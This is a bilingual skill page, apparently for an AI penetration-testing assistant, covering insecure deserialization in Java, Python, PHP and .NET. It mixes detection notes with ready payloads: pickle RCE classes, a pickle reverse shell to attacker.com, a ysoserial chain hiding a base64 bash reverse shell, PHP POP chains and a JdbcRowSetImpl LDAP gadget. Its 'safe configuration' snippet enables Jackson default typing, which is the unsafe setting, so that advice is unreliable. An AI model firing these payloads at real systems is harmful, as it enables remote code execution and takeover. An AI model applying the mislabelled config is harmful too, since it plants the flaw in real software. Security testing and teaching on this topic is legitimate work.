一键导入
deserialization-testing
Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
| name | deserialization-testing |
| description | Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
Formats
pickle, yaml.load (unsafe), marshal, shelveunserialize(), Phar deserializationBinaryFormatter, Json.NET TypeNameHandling, ViewStateMarshal.load, YAML.loadnode-serialize, unserialize.js (less common; see prototype_pollution for merge bugs)Input Locations
data, state, object, base64 blobs)Detection Signals
ac ed 00 05 (hex rO0 base64)O:, a:, s: prefixes after decode00 01 00 00 00 ff ff ff ffContent-Type with binary or custom serializationWhite-Box Indicators
pickle.loads unserialize( ObjectInputStream BinaryFormatter
yaml.load readObject( TypeNameHandling Marshal.load
Gadget Chains
Test Flow
Jackson / JSON Typing
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
When enableDefaultTyping or @JsonTypeInfo allows attacker-chosen types.
Pickle executes arbitrary code during unpickling by design:
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
YAML
!!python/object/apply:os.system ['id']
When yaml.load used instead of yaml.safe_load.
Object Injection
__wakeup, __destruct, __toString, __callPhar Deserialization
phar:// wrapper triggering metadata deserialization on file operationsBinaryFormatter / LosFormatter
Json.NET
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
When TypeNameHandling != None.
ViewState
Marshal.load on user input → gadget chains in Rails/Devise versions (context-dependent)Signed Blob Bypass
Second-Order Deserialization
Compression Wrappers
pickle/Marshal not used; JSON parsed to dict without object instantiationsession, session_backup, state)JSESSIONID alternatives, .ASPXAUTH, laravel_session, custom tokensreadObject/unserialize/pickle.loads backward to source.aspx appsPayload generation is the practitioner's core tool here. The sandbox has git/python/go and interactsh-client (OAST); add a JRE or php-cli if you need the Java/PHP generators.
| Tool | Language / format | Use |
|---|---|---|
| ysoserial (frohoff) | Java native | Gadget-chain payloads: CommonsCollections1-7, Groovy1, Spring1/2, and URLDNS for a safe no-exec DNS oracle. Needs a JRE. |
| phpggc (ambionics) | PHP unserialize / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs php-cli. |
| ysoserial.net | .NET BinaryFormatter / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
./phpggc -b Laravel/RCE9 system id
Confirm the sink with a callback (URLDNS / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, yaml.safe_load, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
常见库:
常见函数:
常见模块:
常见类:
Java序列化特征:
AC ED 00 05 (十六进制)
rO0 (Base64)
PHP序列化特征:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
Python pickle特征:
\x80\x03
常见位置:
Apache Commons Collections利用:
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
常见Gadget链:
基础测试:
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
魔术方法利用:
基础测试:
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
使用ysoserial:
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64编码
base64 -w 0 payload.bin
手动构造:
// 使用Gadget链构造恶意对象
// 参考ysoserial源码
利用POP链:
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
Pickle RCE:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
Base64编码:
原始: rO0ABXNy...
编码: ck8wQUJYTnk...
URL编码:
%72%4F%00%AB...
使用不同Gadget链:
使用反射:
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
# 列出可用Gadget
java -jar ysoserial.jar
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# 生成Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
# 列出可用Gadget
./phpggc -l
# 生成Payload
./phpggc Monolog/RCE1 system id
# 生成编码Payload
./phpggc -b Monolog/RCE1 system id
避免反序列化不可信数据
输入验证
// 白名单验证类名
private static final Set<String> ALLOWED_CLASSES =
Set.of("com.example.SafeClass");
private Object readObject(ObjectInputStream ois) {
// 验证类名
// ...
}
使用安全配置
// Jackson配置
objectMapper.enableDefaultTyping();
objectMapper.setVisibility(PropertyAccessor.FIELD,
JsonAutoDetect.Visibility.ANY);
类加载器隔离
监控和日志
record_vulnerability when running inside the penkit51 platform